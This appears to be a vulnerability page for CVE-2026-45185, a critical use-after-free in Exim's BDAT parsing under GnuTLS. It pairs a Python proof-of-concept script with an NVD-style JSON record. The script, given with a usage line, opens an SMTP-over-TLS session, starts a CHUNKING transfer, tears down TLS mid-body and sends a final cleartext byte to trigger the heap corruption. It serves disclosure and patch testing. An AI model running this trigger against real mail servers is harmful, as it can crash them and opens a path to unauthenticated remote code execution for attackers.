CVE-2026-45185

import socket import ssl def exploit_poc(target_host, target_port): # Create TCP connection sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_host, target_port)) # Upgrade to TLS context = ssl.create_default_context() context.check_hostname = False context.verify_mode = ssl.CERT_NONE tls_sock = context.wrap_socket(sock, server_hostname=target_host) # SMTP Handshake tls_sock.send(b'EHLO attacker\r\n') tls_sock.send(b'MAIL FROM:<attacker@local>\r\n') tls_sock.send(b'RCPT TO:<victim@local>\r\n') # Initiate CHUNKING (BDAT) tls_sock.send(b'BDAT 512\r\n') # Send partial body data tls_sock.send(b'A' * 256) # Trigger Vulnerability: Send TLS close_notify # This closes the TLS layer but keeps TCP open tls_sock.unwrap() # Send final cleartext byte on the same TCP connection # This triggers the Use-After-Free in BDAT parsing sock.send(b'\x00') sock.close() # Usage: exploit_poc('127.0.0.1', 25)

{"cve": {"id": "CVE-2026-45185", "sourceIdentifier": "[email protected]", "published": "2026-05-12T20:16:46.137", "lastModified": "2026-05-12T21:16:16.807", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Exim before 4.99.3, in certain GnuTLS configurations, has a remotely reachable use-after-free in the BDAT body parsing path. It is triggered when a client sends a TLS close_notify mid-body during a CHUNKING transfer, followed by a final cleartext byte on the same TCP connection. This can lead to heap corruption. An unauthenticated network attacker exploiting this vulnerability could execute arbitrary code."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "references": [{"url": "https://code.exim.org/exim/wiki/wiki/EximSecurity", "source": "[email protected]"}, {"url": "https://exim.org", "source": "[email protected]"}, {"url": "https://exim.org/static/doc/security/CVE-2026-45185.txt", "source": "[email protected]"}, {"url": "https://exim.org/static/doc/security/EXIM-Security-2026-05-01.1/", "source": "[email protected]"}, {"url": "https://news.ycombinator.com/item?id=48111748", "source": "[email protected]"}, {"url": "https://www.openwall.com/lists/oss-security/2026/05/12/4", "source": "[email protected]"}, {"url": "https://xbow.com/blog/dead-letter-cve-2026-45185-xbow-found-rce-exim", "source": "[email protected]"}]}}